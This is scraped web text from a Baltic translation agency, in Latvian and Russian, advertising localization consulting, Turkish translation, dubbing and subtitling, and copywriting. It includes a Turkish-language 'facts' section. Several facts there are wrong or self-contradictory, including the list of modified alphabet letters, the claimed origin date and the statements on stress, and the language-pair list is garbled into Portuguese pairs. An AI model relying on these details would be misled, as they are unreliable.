pakalpojumu nosaukumus, pārdošanas materiālus, produktu aprakstus un sniedz atgriezenisko saiti, kā tie varētu tikt uztverti mērķa tirgū, norādot uz iespējamiem valodiskajiem vai kultūras šķēršļiem. Mēs izpētām jūsu vēstījuma tonalitāti, palīdzam izvēlēties pareizo uzrunas formu, satura atbilstību vietējām tradīcijām. Šādi mēs palīdzam izvairīties no negaidītas negatīvas patērētāju reakcijas – arī interneta vidē, kad jūsu zīmola un preču nosaukumi būs redzami vietējās meklētājprogrammās. Mūsu konsultācijas adaptācijas un lokalizācijas jomā ietver: uzņēmumu logotipu, saukļu un preču nosaukumu lingvistisko analīzi; iespējami aizskarošu vai divdomīgu vārdu un frāžu identificēšanu; pārfrāzēšanu un sinonīmu piemeklēšanu; jūsu logotipa līdzības un asociāciju ar citiem mērķa tirgus logotipiem pārbaudi; vēstījumu piemērotību auditorijai; attēlu, krāsu un citu vizuālo elementu atbilstību vietējās kultūras tradīcijām. Mūsu komandā ir valodu speciālisti un eksperti no visas pasaules, tādēļ mums ir pieejamas fundamentāli svarīgas zināšanas par jebkuru pasaules tirgu. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu NEPIECIEŠAMA KONSULTĀCIJA? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > У вас не будет второго шанса произвести первое впечатление. Необходима консультация? Свяжитесь с нами! 👋 - Published: 2023-01-07 - Modified: 2024-08-12 - URL: https://skrivanek.lv/valodas-un-starpkulturu-komunikacijas-konsultacijas/ - Translation Priorities: Optional У вас не будет второго шанса произвести первое впечатление. Продажа продукции напрямую на зарубежные рынки, особенно через Интернет, всегда в некоторой степени рискованна. Как говорится, первое впечатление может стать и последним. Это означает, что названия ваших продуктов должны доносить их суть до покупателей, говорящих на других языках и, возможно, принадлежащих к совершенно иной культуре. Существует множество примеров неудачных рекламных слоганов и названий товаров, когда значение, подтекст и ассоциации с брендом на целевом рынке не были достаточно изучены. Прежде чем бренд дебютирует на зарубежном рынке, необходимо выяснить, как его там воспримут, поскольку языковые и культурные различия могут привести к совершенно неожиданным интерпретациям. Однако вы сможете обеспечить надлежащий прием вашего бренда на мировых рынках, следуя в разработке коммуникации следующим принципам: упростите сообщение, чтобы облегчить его перевод; избегайте идиоматических выражений и модных словечек, вместо этого используйте общеупотребительный язык; учитывайте местные обычаи и культурные нормы– ваши собственные и принятые на целевом рынке, чтобы избежать неловких ошибок и нежелательных толкований; поддерживайте согласованность всех текстов. Компания Skrivanek предоставляет консультационные услуги по вопросам глобализации, помогая своим бизнес-клиентам в определении, планировании и реализации глобальных стратегий на зарубежных рынках. Чтобы предлагать решения высокого уровня, мы подходим к каждому проекту с точки зрения бизнес-целей, анализируя все потенциальные проблемы. Мы оцениваем названия брендов и товаров, литературу для продвижения продаж и описания услуг в контексте вашего целевого рынка, выявляя любые потенциальные языковые или культурные барьеры. Мы исследуем значения, воздействие, тон, содержание, формат и прочие характеристики ваших сообщений с точки зрения конкретного рынка и культуры. В результате вы сможете избежать проблем в виде неожиданной реакции клиентов, а названия вашего бренда и продукта будут отображаться в поисковых системах в форме, оптимизированной для среды целевого рынка. Наши консультационные услуги по локализации включают: лингвистический обзор текущих названий компании и продуктов; проверку на наличие потенциально оскорбительных или неловких лингвистических ассоциаций; установление сходства с другими словами в выбранном языке; анализ вашего логотипа на предмет сходства или ассоциаций с другими символами; анализ пригодности ваших исходных текстов для иностранной аудитории; проверку значения и воздействия картинок и иллюстраций в рамках определенного культурного фона. Чтобы обеспечить эффективную оценку ваших названий и слоганов, мы задействуем глобальную сеть опытных переводчиков и корректоров, обладающих опытом работы на местном рынке, что имеет ключевое значение в данном случае. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов НЕОБХОДИМА КОНСУЛЬТАЦИЯ? СВЯЖИТЕСЬ С НАМИ! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить --- > Качественные переводы с/на турецкий язык более чем с 300 языков: письменные и устные переводы, локализация и другие услуги. Свяжитесь с нами! - Published: 2023-01-07 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-turku-valoda/ - Translation Priorities: Optional ПЕРЕВОДЫ НА ТУРЕЦКИЙ ЯЗЫК СКОЛЬКО СТОИТ ПЕРЕВОД НА ТУРЕЦКИЙ ЯЗЫК? Цена рассчитывается индивидуально для каждого заказа исходя из нескольких важных компонентов, таких как: срок выполнения, специфика отрасли, наличие терминологии, сложность чертежей, изображений и графиков, корректура, форматирование, а также дополнительные услуги по заказу клиента (нотариальное заверение, апостиль и т. д. ). СУЩЕСТВУЕТ ЛИ ПРЕЙСКУРАНТ НА УСЛУГИ ПЕРЕВОДА? Да, прейскурант на услуги письменного и устного перевода с/на турецкий язык является неотъемлемой частью нашего договора о сотрудничестве с клиентами, мы всегда предоставляем подробную информацию о цене до начала реализации проекта. Стоимость каждого заказа определяется индивидуально согласно действующему прейскуранту Skrivanek Baltic, исходя из количества слов в исходном тексте, наличия повторов и других параметров. Пришлите свой материал для перевода на адрес нашей электронной почты – и мы рассчитаем стоимость. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов Необходим перевод? Ищете языковое решение или эксперта, который может дать совет? Мы подготовим предложение, разработанное специально для вас. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ИНТЕРЕСНЫЕ ФАКТЫ О ТУРЕЦКОМ ЯЗЫКЕ За последние 100 лет турецкий язык сильно изменился. Одна из главных целей Ассоциации турецкого языка – сохранение его чистоты. До 1932 года лишь 35–40 % слов имели турецкое происхождение, остальные же были заимствованы из арабского и персидского языков. В настоящее время почти 80 % турецких слов имеют турецкое происхождение. В 1932 году турки полностью изменили свой алфавит. Люди, имеющие представление о Турции, возможно, слышали о Мустафе Кемале Ататюрке ─ основателе и первом президенте Турецкой Республики. После падения Османской империи он заменил арабский алфавит латинским, тем самым полностью изменив турецкий алфавит. В XIX веке заимствования турецкого происхождения стали проникать в английский язык через сообщения путешественников, эмиссаров и торговцев с одной стороны и через исторические источники и прессу – с другой. Влияние турецкого языка на английский можно заметить в таких словах повседневной речи, как kiosk (от köşk), kayak (от kayık), yoghurt и т. д. Турецкий птичий язык (kuş dili) – это вариант турецкого языка, на котором говорят с громким свистом и мелодиями. Первоначально он использовался турецкими фермерами для общения на больших расстояниях, и сейчас насчитывает около 10 000 носителей. Птичий язык происходит из деревни Кушкёй, расположенной в Понтийских горах на севере Турции. Вероятно, турецкий язык зародился около 400 лет назад, однако его происхождение до сих пор неясно. В 2017 году ЮНЕСКО включило птичий язык в Список нематериального культурного наследия. Поскольку Кушкёй – фермерская деревня в глубокой долине, свист слышен гораздо дальше, чем просто крик. Но когда деревенские жители перешли на мобильные телефоны, многие поняли, что это более простой и эффективный способ общения. Тем не менее жители деревни стараются сохранить птичий язык, проводя фестивали и используя его в повседневной жизни. С 2014 года птичий язык стали преподавать в местных начальных школах. Турецкая художественная литература редко переводится на другие языки. Aşk – одно из самых сильных слов в турецком языке, означающее любовь. Турки ярко проявляют эмоции и склонны к мелодраме. Слово aşk часто используется в турецкой поэзии, песнях и известных мыльных операх. В турецком языке считается невежливым обращаться к кому-либо только по имени, особенно к пожилым людям. К имени всегда следует добавлять вежливое обращение, например: teyze (тетя) или amca (дядя). Если имя человека, к которому обращаются, неизвестно, необходимо использовать обращение hanimefendi (госпожа) или beyefendi (господин). В турецком языке ударение чаще падает на последний слог. Однако это правило не всегда распространяется на географические названия, заимствованные из других языков или локализованные, например: Измир, Бурса и другие географические названия с ударением на первом слоге. В турецком языке отсутствует категория рода имен существительных. ТУРЕЦКИЙ АЛФАВИТ Турецкий алфавит (по-турецки: Türk alfabes) – это латинский алфавит, используемый для письма в турецком языке. Он состоит из 29 букв, семь из которых (Ç, G, I, Š, Ö, S и Ü) преобразованы из латинского языка в соответствии с фонетическими требованиями турецкого языка. Этот алфавит очень точно отражает современное турецкое произношение. Он был утвержден в 1928 году в рамках реформ Ататюрка и по сей день является официальным турецким алфавитом. Турецкий алфавит стал примером официальной латинизации для нескольких языков, в которых прежде использовался арабский алфавит или кириллица, таких как азербайджанский (1991), туркменский (1993) и совсем недавно – казахский (2021). Один из первых известных турецких алфавитов – древнетюркский, самые ранние сохранившиеся свидетельства о котором датируются VII веком. За основу в турецком языке взяты несколько алфавитов, включая рунический, уйгурский, кириллицу, арабский, греческий, латинский и другие азиатские системы письменности. Некоторые турецкие реформаторы выступали за латинизацию задолго до реформ Ататюрка. В 1862 году, на раннем этапе реформ, государственный деятель Мунуф Паша выступил за реформу алфавита, а в начале ХХ века подобные идеи выдвинули несколько писателей, относящихся к Младотурецкому движению, в том числе Хусейн Кахит, Абдулла Джевдет и Селал Нури. В 1923 году этот вопрос снова был поднят на Первом экономическом конгрессе новообразованной Турецкой Республики и вызвал общественные дебаты, продолжавшиеся в течение нескольких лет. В современном турецком алфавите 21 согласная и 8 кратких гласных, а также используется диакритический знак (ˆ). Его используют с буквами â, û, î. Грамматически он считается смягчающим знаком, знаком долготы, а также знаком, позволяющим различать значения слов (âlem – мир, alem – флаг, полумесяц на минарете и т. д. ). Встречается только в оставшихся арабских и персидских словах, так как в турецком языке нет ни долгих гласных, ни смягчений. Буквы современного турецкого алфавита заимствованы из разных европейских алфавитов: шведского, немецкого, албанского, румынского и других – (A, B, C, Ç, D, E, F, G, Ğ, H, I, İ, J, K, L, M, N, O, Ö, P, R, S, Ş, T, U, Ü, V, Y, Z). СЛОЖЕН ЛИ ТУРЕЦКИЙ ЯЗЫК? Институт зарубежной службы США распределил все языки мира по уровню сложности – турецкий язык причислен к четвертой категории. Это означает, что для его освоения требуется 44 недели, или 1100 часов. Турецкий язык отличается от других языков, но не является слишком сложным, хотя для его освоения потребуется некоторое время и усилия. В турецком языке используется латинский алфавит, применяемый для письма в большинстве языков. В турецком языке не существует категорий рода, поэтому нет и артиклей. Освоение языка облегчает и отсутствие ударения. Буквы, нехарактерные для других языков, даются несколько сложнее, но все, что нужно, – это выучить их произношение. ГДЕ И СКОЛЬКО ЛЮДЕЙ ГОВОРЯТ НА ТУРЕЦКОМ ЯЗЫКЕ? На турецком языке говорят более 63 миллионов человек по всему миру, что делает его самым распространенным среди тюркских языков. Носители турецкого языка в основном живут в Турции и на Кипре, а также небольшими общинами – в Греции, Болгарии, Северной Македонии, Косово, Албании и Узбекистане. В Западной Европе, особенно в Германии, тоже насчитывается несколько миллионов носителей турецкого языка. Турецкий является официальным языком Турции, а также одним из официальных языков Кипра. Ему присвоен статус официального языка в некоторых муниципалитетах Северной Македонии, что обусловлено количеством турецкоговорящих жителей в соответствующей местности, а также в районе Призрен в Косово. На турецком языке говорят жители Турции и представители нацменьшинств в 35 странах мира. На нем говорят и в странах или уголках стран, входивших в состав Османской империи, таких как Болгария, Румыния, Сербия, Северная Македония, Сирия, Греция и Израиль. В Германии проживает более двух миллионов носителей турецкого языка. Значительное число говорящих на турецком языке насчитывается также в Австрии, Бельгии, Франции, Нидерландах, Швейцарии и Великобритании. В результате десегрегации большинство иммигрантов турецкого происхождения уже не говорят на турецком языке на таком же уровне, что и турки, проживающие в Турции. Почти все постоянные жители Турции владеют турецким языком, остальные – преимущественно курды. Турецкий является вторым языком для большинства людей других национальностей в Турции, однако их уровень владения этим языком соответствует уровню владения родным языком. ПИСЬМЕННЫЕ И УСТНЫЕ ПЕРЕВОДЧИКИ ТУРЕЦКОГО ЯЗЫКА Бюро переводов Skrivanek обладает более чем 25-летним опытом работы в сфере языковых услуг в странах Балтии и Северной Европы. Наша команда устных и письменных переводчиков и лингвистов предлагает как обычные, так и нотариально заверенные переводы. Бюро переводов Skrivanek предлагает услуги не только письменного перевода с/на турецкий язык, но и устного перевода, стилистического совершенствования, редактуры, корректуры и проверки терминологии турецких текстов в различных отраслях. Для юридических лиц мы чаще всего переводим с/на турецкий язык следующие тексты: технические тексты, судебные решения, тексты электронной коммерции и веб-сайтов. Для физических лиц мы предлагаем перевод записей актов гражданского состояния, документов, удостоверяющих личность, – паспортов, свидетельств о браке, свидетельств о рождении, документов об образовании и т. д. Рассмотрим возможность перевести любой текст по индивидуальному запросу. Наши редакторы и корректоры, для которых турецкий язык является родным, позаботятся о точности перевода, благозвучии и стиле переведенного текста. ТУРЕЦКИЙ ЯЗЫК ДЛЯ БИЗНЕСА Турецкий язык – 12-й по распространенности язык в мире. В стране стремительно развивается экономика, что помогает Турции стать важным игроком на международной бизнес-арене. Поэтому изучение турецкого языка является целесообразным для частных лиц и компаний, заинтересованных в ведении бизнеса в Турции. Возможности карьерного роста в Турции тоже очень широки в разных областях: от политики, технологий и финансов вплоть до туризма. Если вы впечатлите делового партнера в Турции своим знанием турецкого языка, будьте уверены, что договор о сотрудничестве уже подписан. Как ведутся деловые переговоры с турецким бизнесменом? Официальные встречи в офисе чередуются с неформальными беседами в кафе и лаунжах отелей. В обоих случаях встречи проходят без определенного плана действий. В деловой беседе турки шутят редко и осторожно. Они не склонны выражаться прямо и неохотно говорят «нет». Быть вежливым и стремиться к договоренности или компромиссу важнее, чем информировать или объяснять и обосновывать разногласия. Именно поэтому переговоры обычно проходят в позитивной атмосфере, однако их исход зачастую неясен. Кроме того, в турецкой культуре преобладает устное общение, поэтому сказанное и услышанное имеет гораздо больший вес, чем написанное. Большинство сделок заключается на основании устного соглашения, и получить письменное подтверждение достаточно сложно. Турецкий язык нелегко дается европейцам, особенно потому, что образование временных форм глаголов и конструкции предложений чужды европейскому образу мышления. Образованные турки говорят по-английски, а пожилые люди знают французский. У говорящих на немецком языке больше всего шансов пообщаться с турками, особенно за пределами крупных городов. За пределами Турции турецкий язык, к сожалению, не играет большой роли в сфере бизнеса. ДЕНЬ ТУРЕЦКОГО ЯЗЫКА Праздник турецкого языка отмечается ежегодно 26 сентября. Это знаменательный день в истории турецкого языка и для самих турков. Дата выбрана в качестве напоминания о том, что в 1932 году благодаря Мустафе Кемалю Ататюрку, первому президенту Турецкой Республики, турецкий язык был объявлен официальным языком в стране. В рамках Праздника турецкого языка в учебных заведениях по всей стране проводятся различные мероприятия, призванные повысить интерес к древней истории и развитию языка, а также много говорится о чистоте языка, чтобы побуждать людей не использовать иностранные и заимствованные слова. Ататюрк также стал первым, кто выступил в защиту турецкого языка от влияния других языков. РЕШЕНИЯ, КОТОРЫЕ МЫ ЧАЩЕ ВСЕГО ПРЕДЛАГАЕМ НА ТУРЕЦКОМ ЯЗЫКЕ: перевод документов на турецкий язык; срочный письменный перевод; нотариально заверенный перевод; перевод домашней страницы; корректура текстов на турецком языке; адаптация текстов и креативный копирайтинг; DTP– услуги графического дизайна; устный перевод на турецкий язык; индивидуальные курсы турецкого языка. ПРЕДЛАГАЕМЫЕ ЯЗЫКОВЫЕ КОМБИНАЦИИ: турецкий – латышский, турецкий – латышский; литовский – турецкий, турецкий – литовский; эстонский – турецкий, турецкий – эстонский; английский – турецкий, турецкий – английский; русский – турецкий, турецкий – русский; польский – турецкий, турецкий – польский; украинский – турецкий, турецкий – украинский; чешский – турецкий, турецкий – чешский; немецкий – турецкий, турецкий – немецкий; испанский – турецкий, турецкий – испанский; французский – турецкий, турецкий – французский; итальянский – турецкий, турецкий – итальянский; датский – турецкий, турецкий – датский; шведский – турецкий, турецкий – шведский; норвежский – турецкий, турецкий – норвежский; финский – турецкий, турецкий – финский; арабский – турецкий, турецкий – арабский; армянский – турецкий , турецкий – армянский; белорусский – турецкий, португальский – белорусский; болгарский – португальский, португальский – болгарский; венгерский – португальский, португальский – венгерский; иврит – португальский, португальский – иврит; греческий – португальский, португальский – греческий; грузинский – португальский, португальский – грузинский; хинди – португальский, португальский – хинди; голландский – португальский, португальский – голландский; корейский – португальский, португальский – корейский; курдский – португальский, португальский – курдский; китайский – португальский, португальский – китайский; румынский – португальский, португальский – румынский; словацкий – португальский, португальский – словацкий; словенский – португальский, португальский – словенский; турецкий – португальский, португальский – турецкий; украинский – португальский, португальский – украинский и др. --- > Услуги дублированного перевода, субтитрирования и банка голосов. Зная ожидания клиента, наши сотрудники смогут предоставить дополнительную информацию. - Published: 2022-12-30 - Modified: 2024-08-12 - URL: https://skrivanek.lv/ru/uslugi-dublirovannovo-perevoda-subtitrovanija-i-banka-golosov/ - Translation Priorities: Optional ДУБЛИРОВАННЫЙ ПЕРЕВОД, ДУБЛЯЖ Дублированный перевод, дубляж – это изготовление речевой фонограммы на другом языке, которая заменяет голоса актеров в исходном произведении. При этом переведенный текст записывается в профессиональной студии звукозаписи. Речь носителей данного языка заменяет голоса персонажей на экране, обеспечивая тем самым высокое качество восприятия. ЗАКАДРОВЫЙ ПЕРЕВОД Закадровый перевод используется при озвучивании рекламы, презентации, игры, сообщения или фильма. Переведенный текст зачитывается выбранным клиентом актером дубляжа, артистом или носителем языка. Процедура выполняется в студии звукозаписи. Преимущество такого типа перевода заключается в сохранении фонового звучания оригинальной речи. СУБТИТРИРОВАНИЕ Субтитрирование – это тип аудиовизуального перевода, который появляется на экране в виде текста. Важно отметить, что отображение субтитров подчиняется временным и пространственным ограничениям, которые непосредственно влияют на конечный результат. КАКАЯ БЫ ЯЗЫКОВАЯ КОМБИНАЦИЯ ВАМ НИ ПОТРЕБОВАЛАСЬ, МЫ ПОМОЖЕМ Популярность онлайн-видеоконтента постоянно растет. Компаниям, намеревающимся представить свою продукцию в аудиовизуальной рекламе, потребуется принять важные решения о том, как они хотят донести свой видеоконтент на других языках помимо латышского. Видеоконтент, публикуемый на веб-сайтах, бывает повествовательным, обучающим или развлекательным. Он может представить идею в упрощенной форме, вызывая эмоции, используя технику «показывай, а не рассказывай». Это очень эффективный метод общения с клиентами до тех пор, пока аудитория понимает смысл видеоклипа. Порой иностранным зрителям приходится использовать субтитры, подготовленные любителями, которые часто оказываются некачественными и неточными. ДУБЛЯЖ ИЛИ СУБТИТРЫ – ЧТО ВАМ ВЫБРАТЬ? Как и в случае любой локализации, огромную роль в переводе фильма играет культура целевого рынка. Если вы уже знаете, что ваше аудиовизуально сообщение подходит для нового рынка, где вы собираетесь представить свою продукцию, следующим шагом будет определить, как ваша аудитория воспримет данное сообщение. Что лучше подойдет аудитории – субтитры или диалоги на родном языке, – зависит от ее культурных предпочтений. В бюро переводов Skrivanek каждым проектом занимаются носители языка, обладающие необходимым опытом и пониманием культуры целевой страны, что позволяет нам гарантировать, что сообщение останется неизменным как на глобальном рынке, так и в местных сообществах. Выберите субтитры, закадровый перевод или дубляж и помогите иностранным зрителям понять ваш контент! ЗАЧЕМ ДОБАВЛЯТЬ СУБТИТРЫ К ВИДЕО? субтитры позволяют просматривать контент без звука; видео с субтитрами лучше каталогизируются поисковыми системами; видео с субтитрами легче перевести. БАНК ГОЛОСОВ Бюро переводов Skrivanek предлагает широкий спектр комплексных услуг по производству аудиопродукции. Мы выполняем профессиональную звукозапись, а наш банк голосов обеспечивает готовое решение для киноиндустрии, телевидения и рекламы. Наш банк голосов является результатом труда талантливых актеров озвучивания, специализирующихся в различных областях, таких как теле- и радиореклама, анимация, компьютерные игры, дикторский текст или дубляж. Данное решение позволяет нам выбрать лучшего актера озвучивания из числа тех, с кем мы сотрудничаем. НАШИ УСЛУГИ запись речи для мультимедийных материалов запись речи для телевизионной рекламы запись речи для радиорекламы запись речи для аудиокниг записи закадрового перевода, адаптированные к видеоизображениям звуковые эффекты для подкастов, включая аудиокниги звуковые эффекты для видеоизображений Прежде всего запись должна быть хорошо подготовлена. Актеры, занятые в озвучивании кинопроекта, рекламы или аудиокниги, должны обладать безупречной дикцией и приятным тембром голоса, чтобы идеально передавать слушателям эмоции и содержание исходного материала. Мы предлагаем целый ряд женских и мужских голосов. По отдельному запросу можем отправить вам образцы по электронной почте и проинструктировать, как прослушать записи наших актеров дубляжа и выбрать лучшего из них. Не стесняйтесь обращаться к нам за помощью в выборе актера озвучивания или за информацией о наличии и ценах. Зная ожидания клиента, наши сотрудники смогут предоставить дополнительную информацию. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISO Наши руководители проектов говорят на латышском, русском, английском, немецком и польском языках 99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов Необходимы услуги дублированного перевода, субтитрирования и банка голосов? Мы подготовим предложение, разработанное специально для вас. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить --- > Что такое копирайтинг? Когда он необходим? С чего начать? Копирайтинг на иностранном языке. С созданием каких текстов мы можем помочь? - Published: 2022-12-29 - Modified: 2024-11-12 - URL: https://skrivanek.lv/radosu-tekstu-sagatavosana/ - Translation Priorities: Optional ПОДГОТОВКА РЕКЛАМНЫХ И МНОГОЯЗЫЧНЫХ МАРКЕТИНГОВЫХ ТЕКСТОВ (КОПИРАЙТИНГ) Всем известно, что люди не читают рекламу специально - они читают и слушают то, что их на самом деле интересует, и лишь иногда это может быть реклама. Задумывались ли вы о том, как языковое предприятие может помочь именно вам быть услышанным в переполненном информационном пространстве? Авторы креативных текстов Skrivanek трудятся в тесном сотрудничестве с клиентом и не берут текст «с потолка», а внимательно изучают нюансы вашего продукта. Великолепные писательские навыки – тоже не единственные из нужных авторам умений, помогающих нашим клиентам расти в международном масштабе. При составлении и адаптации текстов для зарубежных рынков задача автора – сохранить уникальность и тональность послания, проявляя уважение к культурным отличиям и обычаям целевой аудитории и следуя неписаным правилам коммуникации и этикета. Если вы ищете языковое предприятие, способное создать поистине увлекательные рекламные тексты и позаботиться о многоязычном наполнении вашей интернет-страницы, чтобы вы могли охватить максимальное количество потенциальных клиентов по всему миру, вы обратились по адресу. ЗНАЧЕНИЕ РЕКЛАМНЫХ И МНОГОЯЗЫЧНЫХ МАРКЕТИНГОВЫХ ТЕКСТОВ ДЛЯ РОСТА ВАШЕГО ПРЕДПРИЯТИЯ Работа с текстами – одна из важнейших задач отдела маркетинга каждого предприятия, в том числе и вашего! Метко и верно подобранные слова способны эффективно повлиять на ваших клиентов или побудить их к определенным действиям, что является ключом к успеху любой маркетинговой кампании. Маркетинговые тексты – это любого рода текстовые материалы, которые ваше предприятие может использовать в процессе продаж и в рекламе своих продуктов и услуг: печатные материалы, презентации, шаблоны электронных писем, легко конвертируемое многоязычное наполнение вашей интернет-страницы, а также тексты аудио- и видеоматериалов предприятия. Работа с текстом – это словно разговор по душам со своим лучшим другом – клиентом, который вдохновляет. Поэтому, чтобы подготовить действительно эффективный и целенаправленный рекламный лозунг, автору текста нужно очень хорошо знать своего читателя, его интересы и привычки, и даже самые потаенные мечты. В свою очередь, при адаптации или локализации заранее подготовленного содержания интернет-страницы необходимо провести предварительное исследование аудитории выбранного целевого рынка или государства. Особенно важно своевременно провести предварительное исследование ключевых слов Google, чтобы с самого начала заговорить на языке, на котором потенциальный покупатель ищет ваш продукт или услугу в конкретной стране. УНИКАЛЬНЫЙ АВТОРСКИЙ ТЕКСТ И МНОГОЯЗЫЧНЫЙ КОНТЕНТ-МАРКЕТИНГ В чем отличие между подготовкой уникального авторского текста и многоязычным контент-маркетингом? Контент-маркетинг – это весь контент, который ваше предприятие последовательно создает и публикует в Интернете, чтобы улучшить свое положение в результатах поисковых программ, тем самым также способствуя косвенным продажам. Обычно это содержание блогов на тему, в которой вы специализируетесь, истории из своего опыта, развлекательный или же образовательный материал. Почему это важно? Ответ простой - это способ установить долгосрочные отношения со своим клиентом, чтобы ему было интересно быть вашим подписчиком и вести диалог в социальных сетях, читать ваш блог и делиться записями, рассказывать о вас своим друзьям. Чем Skrivanek может вам помочь? Мы говорим на более чем 110 языках ваших потенциальных клиентов. Охватить желаемую целевую аудиторию в любой точке мира сейчас просто как никогда – вам нужно лишь выбрать страну или регион, а об остальном позаботятся авторы текстов Skrivanek. Межкультурная коммуникация – это наша специализация. НЕОБХОДИМ КОПИРАЙТИНГ? Мы подготовим для вас предложение и предоставим консультацию. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ПОДГОТОВКА РЕКЛАМНЫХ И МНОГОЯЗЫЧНЫХ МАРКЕТИНГОВЫХ ТЕКСТОВ (КОПИРАЙТИНГ) Всем известно, что люди не читают рекламу специально - они читают и слушают то, что их на самом деле интересует, и лишь иногда это может быть реклама. Задумывались ли вы о том, как языковое предприятие может помочь именно вам быть услышанным в переполненном информационном пространстве? Авторы креативных текстов Skrivanek трудятся в тесном сотрудничестве с клиентом и не берут текст «с потолка», а внимательно изучают нюансы вашего продукта. Великолепные писательские навыки – тоже не единственные из нужных авторам умений, помогающих нашим клиентам расти в международном масштабе. При составлении и адаптации текстов для зарубежных рынков задача автора – сохранить уникальность и тональность послания, проявляя уважение к культурным отличиям и обычаям целевой аудитории и следуя неписаным правилам коммуникации и этикета. Если вы ищете языковое предприятие, способное создать поистине увлекательные рекламные тексты и позаботиться о многоязычном наполнении вашей 